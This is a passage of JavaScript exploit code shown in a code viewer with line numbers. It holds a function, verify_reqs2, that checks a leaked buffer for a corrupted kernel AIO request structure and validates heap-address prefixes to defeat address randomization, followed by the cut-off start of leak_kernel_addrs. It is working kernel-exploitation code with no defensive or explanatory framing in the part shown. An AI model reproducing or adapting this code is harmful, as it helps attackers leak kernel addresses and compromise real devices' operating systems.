(buf, offset)
| 766 | } |
| 767 | |
| 768 | function verify_reqs2(buf, offset) { |
| 769 | // reqs2.ar2_cmd |
| 770 | if (buf.read32(offset) !== AIO_CMD_WRITE) { |
| 771 | return false; |
| 772 | } |
| 773 | |
| 774 | // heap addresses are prefixed with 0xffff_xxxx |
| 775 | // xxxx is randomized on boot |
| 776 | // |
| 777 | // heap_prefixes is a array of randomized prefix bits from a group of heap |
| 778 | // address candidates. if the candidates truly are from the heap, they must |
| 779 | // share a common prefix |
| 780 | const heap_prefixes = []; |
| 781 | |
| 782 | // check if offsets 0x10 to 0x20 look like a kernel heap address |
| 783 | for (let i = 0x10; i <= 0x20; i += 8) { |
| 784 | if (buf.read16(offset + i + 6) !== 0xffff) { |
| 785 | return false; |
| 786 | } |
| 787 | heap_prefixes.push(buf.read16(offset + i + 4)); |
| 788 | } |
| 789 | |
| 790 | // check reqs2.ar2_result.state |
| 791 | // state is actually a 32-bit value but the allocated memory was |
| 792 | // initialized with zeros. all padding bytes must be 0 then |
| 793 | let state = buf.read32(offset + 0x38); |
| 794 | if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) { |
| 795 | return false; |
| 796 | } |
| 797 | |
| 798 | // reqs2.ar2_file must be NULL since we passed a bad file descriptor to |
| 799 | // aio_submit_cmd() |
| 800 | if (!buf.read64(offset + 0x40).eq(0)) { |
| 801 | return false; |
| 802 | } |
| 803 | |
| 804 | // check if offsets 0x48 to 0x50 look like a kernel address |
| 805 | for (let i = 0x48; i <= 0x50; i += 8) { |
| 806 | if (buf.read16(offset + i + 6) === 0xffff) { |
| 807 | // don't push kernel ELF addresses |
| 808 | if (buf.read16(offset + i + 4) !== 0xffff) { |
| 809 | heap_prefixes.push(buf.read16(offset + i + 4)); |
| 810 | } |
| 811 | // offset 0x48 can be NULL |
| 812 | } else if (i === 0x50 || !buf.read64(offset + i).eq(0)) { |
| 813 | return false; |
| 814 | } |
| 815 | } |
| 816 | |
| 817 | return heap_prefixes.every((e, i, a) => e === a[0]); |
| 818 | } |
| 819 | |
| 820 | function leak_kernel_addrs(sd_pair) { |
| 821 | close(sd_pair[1]); |
no test coverage detected